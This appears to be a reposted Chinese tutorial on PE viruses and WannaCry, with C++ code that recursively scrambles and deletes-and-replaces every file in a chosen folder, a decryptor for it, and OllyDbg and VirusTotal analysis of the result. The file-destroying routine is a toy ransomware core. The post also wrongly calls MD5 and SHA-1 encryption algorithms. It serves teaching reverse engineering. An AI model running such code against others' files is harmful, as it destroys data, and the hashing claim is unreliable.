C++实现文件加解密及OllyDbg逆向

一.PE病毒和WannaCry勒索蠕虫

1.PE病毒

什么是PE病毒?

PE病毒是以Windows PE程序为载体,能寄生于PE文件或Windows系统的病毒程序。PE病毒数量非常之多,包括早起的CIH病毒,全球第一个可以破坏计算机硬件的病毒,它会破坏主办的BIOS,对其数据进行擦写修改。再比如熊猫烧香、机器狗等等,其危害非常之大。

在这里插入图片描述

什么叫感染?

说到病毒,不得不提感染。感染是指在尽量不影响目标程序(系统)正常功能的前提下,而使其具有病毒自身的功能。什么叫病毒自身的功能呢?一个病毒通常包括如下模块:

  • 感染模块: 被感人程序同样具备感染能力
  • 触发模块: 在特定条件下实施相应的病毒功能,比如日期、键盘输入等
  • 破坏模块
  • 其他模块

CIH病毒

CIH病毒是一种能够破坏计算机系统硬件的恶性病毒。这个病毒产自TW,原集嘉通讯公司工程师陈盈豪在其于TW大同工学院念书期间制作。最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播,随后进一步通过网络传播到全世界各个角落。CIH的载体是一个名为“ICQ中文Chat模块”的工具,并以热门盗版光盘游戏如“古墓奇兵”或Windows95/98为媒介,经互联网各网站互相转载,使其迅速传播。目前传播的主要途径主要通过Internet和电子邮件,当然随着时间的推移,其传播主要仍将通过软盘或光盘途径。

CIH病毒曾入榜全球十大计算机病毒之首,该病毒引起了许多重要部门的严密关注,其原因不言而喻。如果指挥、通信、政务等系统受到了CIH病毒的威胁甚至破坏,其后果不堪设想。

如果我们要编写PE病毒,则需要掌握以下的关键:

  • 病毒的重定位
  • 获取API函数地址
  • 文件搜索
  • 内存映射文件
  • 病毒如何感染其他文件
  • 病毒如何返回到Host程序

2.PE病毒的分类

以感染目标进行分类,包括:

(1) 文件感染

将代码寄生在PE文件,病毒本身只是PE文件的一部分,依赖于感染目标,通常也叫HOST文件,控制权获得也是以目标程序运行来获得的。分为:

  • 传统感染型:以Win32汇编程序编写为主
  • 捆绑释放型:编写难度较低,通过高级语言均可编写,将目标程序和病毒程序捆在一起,和捆绑器有相似之处

(2) 系统感染

将代码或程序寄生在Windows操作系统,该类病毒越来越多,它不感染具体文件,但是它会在操作系统中保存自己的实体。同时也可以通过系统启动的方法来获取控制权。传播途径包括:

  • 即时通信软件,如QQ尾巴
  • U盘、光盘
  • 电子邮件
  • 网络共享
  • 其他途径

3.勒索病毒

勒索病毒主要功能是遍历电脑上所有文件,并且用加密算法加密,然后把加密密钥发送到自己的邮箱里,弹出对应的窗口勒索从而解密。

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过共享漏洞上传WannaCry勒索病毒等恶意程序。

在这里插入图片描述

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。

木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可PJ。同时@WanaDecryptor@.exe显示勒索界面。其核心流程如下图所示:

在这里插入图片描述

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息

二.获取系统文件及加密处理

前面第一部分简单普及了病毒和勒索的基本概念,它们都与感染、加密、解密、传播、勒索等关键词密切相关,接下来我将带着大家实现最简单的系统文件加密及解密功能。只有掌握了这些基本知识,才能更好地服务于我们的逆向分析工程。

注意:这里仅允许大家加密自己电脑的文件夹并且在虚拟机中进行实验,不要去恶意损坏他人的计算机设备,一切破坏和攻击行为后果自负。

假设桌面存在如下图所示的文件“文件夹加密”,我们需要获取其信息再进行文件遍历及加密操作。

  • 操作系统API
  • 加密算法
  • 解密算法

PS:建议大家创建一个新的文件夹,并复制一些无效文件进去测试。

在这里插入图片描述

第一步,创建Windows控制台程序。

在这里插入图片描述


第二步,在编写一个简单的加密函数前,首先需要创建文件并执行打开、读写操作。

#include <stdio.h>//文件加密函数
void jiami(char* fileName)
{//1.打开文件FILE* fp = NULL;                  //文件指针变量fp = fopen(fileName, "r+");       //打开可读写的文件if (NULL == fp) {printf("打开文件失败\n");return;}printf("打开 %s 文件成功!\n", fileName);//2.获取文件大小//3.每隔一个字节插入一个字节数据//4.保存关闭
}int main()
{jiami("C:\\Users\\xiuzhang\\Desktop\\文件夹加密\\test.txt");return 0;
}

运行结果如下图所示:

在这里插入图片描述

注意,如果提示传递参数不兼容需要进行如下设置。

  • 高级字符级处:设置编码方式为“使用多直接字符集”
  • C++语言处:设置符合模式为“否”

在这里插入图片描述

同时,如果提示错误“error C4996: ‘fopen’: This function or variable may be unsafe. ”,则因为VS认为fopen函数是不安全的,需要如下设置:

  • 取消安全开发生命周期SDL检查设置

在这里插入图片描述

在这里插入图片描述


第三步,计算文件大小,该文件共35个字节。
基本流程为:

  • 设置光标(文件内容指针)到文件末尾
  • 计算光标位置距离文件头字节数
  • 设置光标位置到文件头

在这里插入图片描述

#include <stdio.h>//文件加密函数
void jiami(char* fileName)
{FILE* fp = NULL;                  //文件指针变量int size = 0;                     //文件大小//1.打开文件fp = fopen(fileName, "r+");       //打开可读写的文件if (NULL == fp) {printf("打开文件失败\n");return;}printf("打开 %s 文件成功!\n", fileName);//2.获取文件大小fseek(fp, 0, SEEK_END);                   //设置光标到文件末尾size = ftell(fp);                         //计算光标位置距离文件头字节数fseek(fp, 0, SEEK_SET);                   //设置光标位置到文件头printf("文件大小为:%d字节!\n", size);//3.每隔一个字节插入一个字节数据//4.保存关闭
}int main()
{jiami("C:\\Users\\xiuzhang\\Desktop\\文件夹加密\\test.txt");return 0;
}

输出结果如下图所示:

在这里插入图片描述


第四步,循环插入字节实现简单的加密。
如果我们在进行文件操作时,遇到权限不够的情况,需要进行相关提权操作,再进行加密处理。核心函数如下:

  • jiami:自定义函数读取文件,每个一个字符添加一个a,实现文件简单加密操作
//文件加密函数 参数-文件名字
void jiami(char* fileName)
{FILE* fp = NULL;                  //文件指针变量int size = 0;                     //文件大小//1.打开文件fp = fopen(fileName, "r+");       //打开可读写的文件if (NULL == fp) {printf("打开文件失败\n");return;}printf("打开 %s 文件成功!\n", fileName);//2.获取文件大小fseek(fp, 0, SEEK_END);                   //设置光标到文件末尾size = ftell(fp);                         //计算光标位置距离文件头字节数fseek(fp, 0, SEEK_SET);                   //设置光标位置到文件头printf("文件大小为:%d字节!\n", size);//3.获取文件所有内容char* tmp;int read_size;tmp = (char*)malloc((size + 1) * sizeof(char));read_size = fread(tmp, sizeof(char), size, fp);tmp[size] = '\0';//printf("读取字符串为:%s %d %d\n", tmp, read_size, strlen(tmp));//4.每隔一个字节插入一个字节数据char ch;char code = 'a';char* pTxt;FILE* fpw = fopen("ddd.txt", "w");                           //写入文件pTxt = (char*)malloc(sizeof(char) * (strlen(tmp) * 2 + 1));for (int i = size; i >= 0; i--) {ch = tmp[i];if (i != 0) {pTxt[2 * i] = ch;pTxt[2 * i - 1] = code;}else {pTxt[2 * i] = ch;}//printf("%d %c %c\n", i, ch, pTxt[2 * i - 1]);}pTxt[size * 2] = '\0';printf("操作后字符串:%s %d\n", pTxt, strlen(pTxt));fwrite(pTxt, sizeof(char), size * 2, fpw);//保存关闭fclose(fp);fclose(fpw);return;
}

运行程序后,我们打开test.txt查看如下,发现一个简单的加密或扰乱完成,变成了一堆乱码。当加密函数写好之后,我们接着需要编写一个遍历文件夹的函数,实现对整个目录进行加密处理。

再次强调:大家只能加密自己电脑的文件夹并且在虚拟机中进行实验,不要去恶意损坏他人的计算机设备。

在这里插入图片描述


第五步,编写遍历文件夹函数。
通常遍历文件夹采用的是递归方法,依次遍历某个目录的文件夹,深度搜索文件夹中的内容,如果是文件就加密,如果是文件夹就继续深度搜索,直至找到文件依次返回,从而实现整个目录的文件遍历。

//遍历文件夹找到每个文件 参数-文件夹名字
void findFile(char* pathName)
{/* 禁止加密他人计算机,一定只能对指定目录加密,尤其不能对C盘加密 *///设置要找的文件名 通配符实现char findFileName[256];memset(findFileName, 0, 256);                   //清空数组sprintf(findFileName, "%s\\*.*", pathName);printf("要找的文件名是:%s\n", findFileName);return;
}int main()
{//jiami("C:\\Users\\xiuzhang\\Desktop\\文件夹加密\\test.txt");//获取当前文件夹char buff[256] = { 0 };GetCurrentDirectory(256, buff);printf("当前目录是:%s\n\n", buff);return 0;
}

上述代码通过自定义函数遍历文件夹,同时调用API函数获取当前目录,核心函数为:

  • GetCurrentDirectory:Windows API获取当前目录
  • findFile:自定义函数调用通配符*获取指定目录所有文件

输出结果如下图所示:

在这里插入图片描述


第六步,进一步完善遍历文件夹递归调用函数。

  • 调用FindFirstFile函数获取目录下第一个文件
  • 如果找到第一个文件,则循环调用FindNextFile函数获取下一个文件
  • 如果找到的是文件夹,则拼接新的文件夹路径继续递归遍历文件
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>//遍历文件夹找到每个文件 参数-文件夹名字
void findFile(char* pathName)
{/* 禁止加密他人计算机,一定只能对指定目录加密,尤其不能对C盘加密 *///1.设置要找的文件名 通配符实现char findFileName[256];memset(findFileName, 0, 256);                   //清空数组sprintf(findFileName, "%s\\*.*", pathName);printf("要找的文件名是:%s\n", findFileName);//2.获取目录下第一个文件WIN32_FIND_DATA findData;                    //定义结构体HANDLE hFile = FindFirstFile(findFileName, &findData);//判断返回值等于-1(INVALID_HANDLE_VALUE)if (INVALID_HANDLE_VALUE == hFile) {printf("查找文件失败!\n");return;}//如果成功进入死循环继续查找下一个文件else {int ret = 1;char temp[256];while (ret) {//如果找到的是个文件夹 则需要继续查找该文件夹内容if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {//文件夹拼接=原始路径+新文件夹路径memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, findData.cFileName);printf("找到一个文件夹:%s\n", temp);Sleep(1000);                             //暂停1秒钟findFile(temp);}else { //如果是文件 则加密文件memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, findData.cFileName);printf("找到一个文件:%s\n", temp);}//查找下一个文件ret = FindNextFile(hFile, &findData);}}return;
}int main()
{//获取当前文件夹char buff[256] = { 0 };GetCurrentDirectory(256, buff);printf("当前目录是:%s\n\n", buff);findFile(buff);return 0;
}

在写代码过程中,我们一定要学会边写边调试,或者称为打桩输出,而不是一写到底最后来慢慢修改。此时运行程序,它输出遍历当前目录的文件夹结果如下图所示,为什么会一直在递归呢?

在这里插入图片描述

注意这里的 “.” 代表当前文件夹,所以需要过滤掉该点,否则陷入无限递归。

  • findData.cFileName[0] != ‘.’

在这里插入图片描述

最终运行结果如下图所示,将当前文件夹内所有内容显示出来。

在这里插入图片描述

比如Debug文件夹中内容,和我们的获取结果是一一对应的。

在这里插入图片描述


第七步,实现文件加密功能。
作者将文件夹改为指定的目录,再次强调虚拟机中运行或者指定某个不重要的文件夹进行测试。具体修改是在findFile函数中增加了jiami函数的调用。

注意: 使用二进制打开可以复制大型文件如.exe文件、音频视频文件等,所以文件操作改为“rb”和“wb”。由于某些文件会很大,我们文件读写换了一种操作,按字符读入及写入。每一种写法和优化都是有原因的,这个过程需要你去慢慢琢磨,包括逆向分析也一样,操作系统或编译器、恶意代码为什么这么优化,我们都需要慢慢去分析。

完整代码如下:

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>//文件加密函数 参数-文件名字
void jiami(char* fileName, char* pathName)
{FILE* fp = NULL;                  //文件指针变量int size = 0;                     //文件大小//打开文件//注意: 使用二进制打开可以复制大型文件如.exe文件,音频视频文件等fp = fopen(fileName, "rb");       //打开可读写的文件if (NULL == fp) {printf("打开文件失败\n");return;}printf("打开 %s 文件成功!\n", fileName);//获取文件大小fseek(fp, 0, SEEK_END);                   //设置光标到文件末尾size = ftell(fp);                         //计算光标位置距离文件头字节数fseek(fp, 0, SEEK_SET);                   //设置光标位置到文件头printf("文件大小为:%d字节!\n", size);//获取文件所有内容char code = 'a';char ch;char temp[256];memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, "test");printf("%s\n", temp);FILE* fpw = fopen(temp, "wb");         //写入文件while (!feof(fp)) { ch = fgetc(fp);fputc(ch, fpw);fputc(code, fpw);//printf("%c\n", ch);}//保存关闭fclose(fp);fclose(fpw);//替换文件char commend[1024];memset(commend, 0, 1024);sprintf(commend, "del \"%s\"", fileName);     //访问路径包含空格增加双引号printf("%s\n", commend);system(commend);rename(temp, fileName);                       //调用C语言rename函数重命名文件printf("\n");return;
}//遍历文件夹找到每个文件 参数-文件夹名字
void findFile(char* pathName)
{/* 禁止加密他人计算机,一定只能对指定目录加密,尤其不能对C盘加密 *///1.设置要找的文件名 通配符实现char findFileName[256];memset(findFileName, 0, 256);                   //清空数组sprintf(findFileName, "%s\\*.*", pathName);printf("要找的文件名是:%s\n", findFileName);//2.获取目录下第一个文件WIN32_FIND_DATA findData;                    //定义结构体HANDLE hFile = FindFirstFile(findFileName, &findData);//判断返回值等于-1(INVALID_HANDLE_VALUE)if (INVALID_HANDLE_VALUE == hFile) {printf("查找文件失败!\n");return;}//如果成功进入死循环继续查找下一个文件else {int ret = 1;char temp[256];while (ret) {//如果找到的是个文件夹 则需要继续查找该文件夹内容if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {if(findData.cFileName[0] != '.') {//文件夹拼接=原始路径+新文件夹路径memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, findData.cFileName);printf("找到一个文件夹:%s\n", temp);Sleep(1000);                             //暂停1秒钟findFile(temp);}}else { //如果是文件 则加密文件memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, findData.cFileName);printf("找到一个文件:%s\n", temp);//加密文件jiami(temp, pathName);}//查找下一个文件ret = FindNextFile(hFile, &findData);}}return;
}int main()
{char buff[256] = { 0 };GetCurrentDirectory(256, buff);printf("当前目录是:%s\n\n", buff);//加密指定文件夹目录 建议使用虚拟机执行findFile("C:\\Users\\xiuzhang\\Desktop\\文件夹加密");return 0;
}

最终实现效果如下图所示:

在这里插入图片描述

指定目录的所有文件已经被加密,图片已经不能显示、EXE程序也不能执行。

在这里插入图片描述

图片打开提示“图片错误,无法打开”,EXE程序也无法执行。

在这里插入图片描述

接着我们用010editor软件打开加密文件,具体的内容显示如下图所示:

在这里插入图片描述

在这里插入图片描述

注意,某次执行代码没修改加密文件夹,将VS当前目录全部加密,工程直接奔溃,最终重新创建工程,所以大家仅能试试指定目录来学习加密和解密原理知识。

在这里插入图片描述


第八步,编写解密功能。
当我们中了勒索病毒,就需要解密,这里我们简单给大家编写一个解密函数。当然,真实环境中,MD5、hash、SHA-1都是比较常用的加密算法。解密文件写有两种方法:

  • 全部读入内存,修改后重新存入文件
  • 边读边写到另一新建文件,要修改的部分修改后存入新建文件,其他部分原封不动写入,写完删掉原先文件,并将这个新的改为删掉那个的名字

这里由于作者知道加密规则,则进行单个字符奇偶判断写入的处理,代码如下:

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>//文件加密函数 参数-文件名字
void jiami(char* fileName, char* pathName)
{FILE* fp = NULL;                  //文件指针变量int size = 0;                     //文件大小//打开文件//注意: 使用二进制打开可以复制大型文件如.exe文件,音频视频文件等fp = fopen(fileName, "rb");       //打开可读写的文件if (NULL == fp) {printf("打开文件失败\n");return;}printf("打开 %s 文件成功!\n", fileName);//获取文件大小fseek(fp, 0, SEEK_END);                   //设置光标到文件末尾size = ftell(fp);                         //计算光标位置距离文件头字节数fseek(fp, 0, SEEK_SET);                   //设置光标位置到文件头printf("文件大小为:%d字节!\n", size);//获取文件所有内容char code = 'a';char ch;char temp[256];memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, "test");printf("%s\n", temp);FILE* fpw = fopen(temp, "wb");         //写入文件while (!feof(fp)) { ch = fgetc(fp);fputc(ch, fpw);fputc(code, fpw);//printf("%c\n", ch);}//保存关闭fclose(fp);fclose(fpw);//替换文件char commend[1024];memset(commend, 0, 1024);sprintf(commend, "del \"%s\"", fileName);     //访问路径包含空格增加双引号printf("%s\n", commend);system(commend);rename(temp, fileName);                       //调用C语言rename函数重命名文件printf("\n");return;
}//文件解密函数 参数-文件名字
void jiemi(char* fileName, char* pathName)
{char ch;int size = 0;                        //文件大小FILE* fp;                           //打开文件FILE* fpw;                           //写入文件char tmp[1024];//初始化操作memset(tmp, 0, 1024);sprintf(tmp, "%s\\tmp", pathName);printf("%s\n", tmp);fp = fopen(fileName, "rb");fpw = fopen(tmp, "wb");fseek(fpw, 0, SEEK_SET);             //设置光标位置到文件头//每隔一个字节删除一个字节数据int i = 0;while (!feof(fp)) {ch = fgetc(fp);if (0 == (i % 2)) { //偶数写入i = 1;fputc(ch, fpw);}else {i = 0;continue;}}fclose(fp);fclose(fpw);//替换文件char commend[1024];memset(commend, 0, 1024);sprintf(commend, "del \"%s\"", fileName);     //访问路径包含空格增加双引号printf("%s\n", commend);system(commend);rename(tmp, fileName);                       //调用C语言rename函数重命名文件printf("\n");return;
}//遍历文件夹找到每个文件 参数-文件夹名字
void findFile(char* pathName)
{/* 禁止加密他人计算机,一定只能对指定目录加密,尤其不能对C盘加密 *///1.设置要找的文件名 通配符实现char findFileName[256];memset(findFileName, 0, 256);                   //清空数组sprintf(findFileName, "%s\\*.*", pathName);printf("要找的文件名是:%s\n", findFileName);//2.获取目录下第一个文件WIN32_FIND_DATA findData;                    //定义结构体HANDLE hFile = FindFirstFile(findFileName, &findData);//判断返回值等于-1(INVALID_HANDLE_VALUE)if (INVALID_HANDLE_VALUE == hFile) {printf("查找文件失败!\n");return;}//如果成功进入死循环继续查找下一个文件else {int ret = 1;char temp[256];while (ret) {//如果找到的是个文件夹 则需要继续查找该文件夹内容if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {if(findData.cFileName[0] != '.') {//文件夹拼接=原始路径+新文件夹路径memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, findData.cFileName);printf("找到一个文件夹:%s\n", temp);Sleep(1000);                             //暂停1秒钟findFile(temp);}}else { //如果是文件 则加密文件memset(temp, 0, 256);sprintf(temp, "%s\\%s", pathName, findData.cFileName);printf("找到一个文件:%s\n", temp);//加密文件//jiami(temp, pathName);//解密文件jiemi(temp, pathName);}//查找下一个文件ret = FindNextFile(hFile, &findData);}}return;
}int main()
{char buff[256] = { 0 };GetCurrentDirectory(256, buff);printf("当前目录是:%s\n\n", buff);//加密指定文件夹目录 建议使用虚拟机执行findFile("C:\\Users\\xxxxx\\Desktop\\文件夹加密-------------");return 0;
}

最终成功还原代码,图片和EXE程序又能运行了!

在这里插入图片描述

在这里插入图片描述

但是遗憾的是,在文本中涉及中文字符,仍然出现了部分乱码?哈哈!^ _ ^ 大家告诉我怎么处理呢?感觉需要中文字符两字节判断操作,但也不影响这篇文章分享的加密与解密基础知识。甚至你还可以做一个界面,包含加密按钮和解密按钮,融合Hash、MD5各种算法进行相关操作,这里仅采用命令行的形式告诉大家原理,希望对您有所帮助。

在这里插入图片描述

对比下加密文件:

在这里插入图片描述


三.OllyDbg和在线沙箱逆向分析

1.OllyDbg分析

接着我们通过OD打开加密的EXE程序,对其进行简单的逆向分析,显示如下图所示。可以看到有很多CC指令,这是VS2019的一些措施,接着我们尝试简单分析。

  • 模块入口点:0x009E13C5

在这里插入图片描述

第一步,右键选择“查找”->“当前模块中的名称”,我们尝试查看该EXE执行的函数。

在这里插入图片描述

我们可以看到调用的Win32 API函数,如下图所示,调用FindFirstFileA和FindNextNextA函数,应该是在遍历文件目录。同时,包括了文件操作函数fopen、fseek、ftell、memset、fgetc、fputc等。同时包括了一些线程和进程相关的函数。

在这里插入图片描述


第二步,选中该函数右键点击“在每个参考上设置断点”。

在这里插入图片描述

接着进入对应断点位置进行调试,设置断点函数一般为文件操作、API操作、数据显示等。

在这里插入图片描述


第三步,另一种方法是选择“所有模块间的调用”,查看调用的函数信息。

在这里插入图片描述

显示结果如下图所示,包括我们使用的FindNextFileA、FindFirstFileA函数,属于Kernel32中;也有Sleep睡眠函数,以及文件操作fopen、fseek、fgetc等。

在这里插入图片描述


第四步,我们选中某个函数右键即可设置断点,比如FindNextFileA和FindFirstFileA函数,接着按下B键可以看到已经设置的断点信息。

在这里插入图片描述


第五步,接着选中断点选择“反汇编窗口中跟随”。

在这里插入图片描述

可以看到对应断点FindNextFileA位置,这是逆向分析对指定模块进行分析的常用方法。

在这里插入图片描述

接着按下F9调试程序,然后停在断点位置,再按下F7进入断点单步调试恶意样本的核心模块,比如该函数获取的参数即为“C:\User\xxxxx\Desktop\文件夹加密”,这就看到了打开该文件夹的目录。

在这里插入图片描述

接续调试我们可以看到参数传递,字符串拼接、睡眠函数等内容,重点是我们要通过CALL分析进入到加密函数中,然后去分析加密的算法从而实现逆向PJ。

在这里插入图片描述

在这里插入图片描述

程序运行结果如下图所示,我们可以结合输出的结果进行每个功能模块的分析及逆向。

在这里插入图片描述

在这里插入图片描述

最终,一个简单的逆向分析过程讲解完毕!最重要的是我们通过自己编写加密解密算法,然而再对其进行分析,从而加深我们初学者学习逆向的经验,这里提出几个问题供大家和我思考。

  • OD逆向怎么判断恶意样本(PE文件)执行或检测了哪些文件
  • OD逆向怎么判断恶意样本(PE文件)是否具有注册表操作、系统进程获取、屏幕截屏等操作
  • OD逆向怎么判断恶意样本(PE文件)的网络操作,IP地址、邮箱、域名访问请求情况
  • OD逆向怎么判断恶意样本(PE文件)是否具有蠕虫传播感染功能
  • 怎么溯源一个恶意样本

2.在线沙箱分析

在恶意样本逆向分析中,在线平台给我们提供了强大支撑,我们拿到一个样本之后可以先对其进行在线监测。其操作比较简单,就是将恶意样本上传至指定在想网址即可。常见的在线沙箱分析包括:

  • virustotal沙箱:https://www.virustotal.com/
  • 360沙箱:https://ti.qianxin.com/
  • Cuckoo沙箱:https://cuckoo.cert.ee/
  • 微步沙箱:https://s.threatbook.cn/

我们以 virustotal沙箱为例,打开主页如稀土所示,点击“choose file”,上传我们的勒索exe文件。

在这里插入图片描述

结果从72个在线引擎中扫描出4个是恶意样本的引擎,如下图所示:

在这里插入图片描述

我们可以看到该样本的基本信息,包括MD5、SHA-1等。

在这里插入图片描述

接着是文件历史信息以及PE文件节点信息。

在这里插入图片描述
 

下面有一个重点,是该文件的导入函数信息,在Imports中显示,主要包括:

  • KERNEL32.dll
  • VCRUNTIME140D.dll
  • ucrtbased.dll

在这里插入图片描述

在这里插入图片描述

ucrtbased.dll主要包括的文件操作如下图所示,比如fopen、fputc、system、rename等函数。

在这里插入图片描述

如果该样本有恶意家族关联,它也能给出相应的信息。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/414402.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux和Unix的区别及为什么鸿蒙系统不用Unix的原因

目录 Linux是什么? Unix是什么&#xff1f; 他们的区别&#xff1a; 鸿蒙系统介绍及鸿蒙系统不用Unix的原因 Linux是什么? Linux的历史可以追溯到1991年&#xff0c;由芬兰的计算机科学家林纳斯托瓦兹&#xff08;Linus Torvalds&#xff09;为了学习操作系统的工作原理而…

计算机毕设选题推荐-基于python的豆瓣电子图书数据可视化分析

&#x1f496;&#x1f525;作者主页&#xff1a;毕设木哥 精彩专栏推荐订阅&#xff1a;在 下方专栏&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; 实战项目 文章目录 实战项目 一、基于python的豆瓣电子图书数…

计算机毕业设计Hadoop+Spark抖音可视化 抖音舆情监测 预测算法 抖音爬虫 抖音大数据 情感分析 NLP 自然语言处理 Hive 机器学习 深度学习

技术栈&#xff1a;数据分析Spark、数据库Hive MySQL、服务器djano、爬虫requests jieba库中文分词&#xff0c;通俗来说&#xff0c;就是将一句(段)话按一定的规则(算法)拆分成词语、成语、单个文字。 中文分词是很多应用技术的前置技术&#xff0c;如搜索引擎、机器翻译、词…

SprinBoot+Vue学生选课小程序的设计与实现

目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 application.yml3.5 SpringbootApplication3.5 Vue3.6 uniapp代码 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍&#xff1a;CSDN认证博客专家&#xff0c;CSDN平…

C#上位机采用数据库操作方式对Excel或WPS表格进行读取操作

C#采用数据库操作方式对Excel或WPS表格进行读取操作 1、创建连接字符串并编写一个进行数据库操作的方法 public class OleDbHelper{//创建连接字符串private static string connString "ProviderMicrosoft.ACE.OLEDB.12.0;Data Source{0};" "Extended Propert…

tecplot宏批量导入数据

Tecplot新手进阶——使用tecplot宏操作批量处理数据输出图片&#xff08;详细步骤&#xff09; tecplot 宏的使用方法及代码改写 第一步&#xff1a;首先点击Scripting–>Record Macro&#xff0c;生成一个脚本文件&#xff0c;即.mcr文件 点击保存&#xff0c;会出现这个…

SpringBoot实战:Spring Boot项目使用SM4国密加密算法

引言 在业务系统构建与部署的环节中&#xff0c;数据库作为核心存储组件&#xff0c;其连接信息的安全至关重要。通常情况下&#xff0c;这些敏感信息&#xff0c;如数据库密码&#xff0c;会直接以明文形式存储在YAML配置文件中&#xff0c;这无疑增加了信息泄露的风险。为有效…

活动系统开发之采用设计模式与非设计模式的区别-需求整理

用户需求(活动系统)&#xff1a; 1、活动类型&#xff1a;答题、图片展示、签到、抽奖、组团等活动 2、活动介绍&#xff1a; a、答题活动&#xff1a; 第一种是签到后&#xff0c;随机抽取10道题&#xff0c;答对8到就可以抽奖&#xff1b; 第二种是随机抽取一道题&#xff0…

Call openai-node in the backend or call https in the frontend?

题意&#xff1a;在后端调用 openai-node 还是在前端调用 https&#xff1f; 问题背景&#xff1a; I have a web application by ReactJS and Nodejs. This application calls OpenAI APIs. 我有一个使用 ReactJS 和 Node.js 开发的 Web 应用程序。这个应用程序调用 OpenAI …

UE5开发——射击武器类拾取

整体框架&#xff1a; 拾取武器 要在 Unreal Engine 5 (UE5) 中实现一个按 E 键拾取武器的功能&#xff0c;您可以遵循以下步骤&#xff1a; ### 步骤 1: 创建拾取物品的基础类 1. 在 Content Browser 中创建一个新的 C 类&#xff0c;继承自 AActor 或者 AStaticMeshActor。…

串口助手使用和插入usb转TTL的COM口识别问题

问题出现原因 由于串口调试中经常需要通过断电对单片机烧录程序&#xff0c;所以制作了一个转接带开关的USB 转接口&#xff0c;如下图所示&#xff0c;其中按键控制的是OUT口的电源通断。但为了能够数据传输&#xff0c;有两根传输数据的线是一直连接的。在使用usb进行程序烧…

什么是EDR、NDR、MDR、XDR?他们之间什么区别?

《网安面试指南》http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247484339&idx1&sn356300f169de74e7a778b04bfbbbd0ab&chksmc0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene21#wechat_redirect 概述 EDR是什…

ParallelsDesktop19可在任何Mac上运行Windows软件

ParallelsDesktop19是一款Mac虚拟机软件&#xff0c;可在任何Mac上运行Windows&#xff0c;体验不同操作系统之间的无缝集成&#xff0c;并具有创新设计和增强功能&#xff0c;如无密码登录与TouchID、支持macOSSonoma14和增强打印选项。此外&#xff0c;它还支持运行更多Windo…

EasyExcel动态映射Excel数据到任意实体类教程

在使用EasyExcel进行Excel导入时&#xff0c;我们经常需要将Excel中的数据映射到Java实体类中。如果Excel的列名是固定的&#xff0c;我们可以通过ExcelProperty("列名")注解直接在实体类中指定列名。但如果Excel的列名不固定&#xff0c;或者我们希望根据Excel的第一…

【Unity实战】Visual Studio Debug失败

Visual Studio&#xff0c;就像以前Eclipse在Java领域中的地位一样&#xff0c;至少在Jetbrains人人皆爱之前&#xff0c;它是主流。可能对于当下来说显得臃肿&#xff0c;而且没有Jetbrains智能准确的代码分析提示&#xff0c;但是依旧能用。而且开大工程来说&#xff0c;至少…

Kubernetes 网关流量管理:Ingress 与 Gateway API

引言 随着 Kubernetes 在云原生领域的广泛使用&#xff0c;流量管理成为了至关重要的一环。为了有效地管理从外部流入集群的流量&#xff0c;Kubernetes 提供了多种解决方案&#xff0c;其中最常见的是 Ingress 和新兴的 Gateway API。 Ingress 随着微服务架构的发展&#x…

Jupyter如何使用Anaconda的虚拟环境

Anaconda的虚拟环境大家应该都知道是什么&#xff0c;我们可以建立多个虚拟环境并在对应的环境中安装不同的python三方库从而运行不同的python项目&#xff0c;那么在jupyter中如何使用Anaconda的虚拟环境呢&#xff0c;今天就为大家分享一个这样的操作教程。 请参考图文进行以…

实用好软-----电脑端 开源的视频无损剪切与合并工具

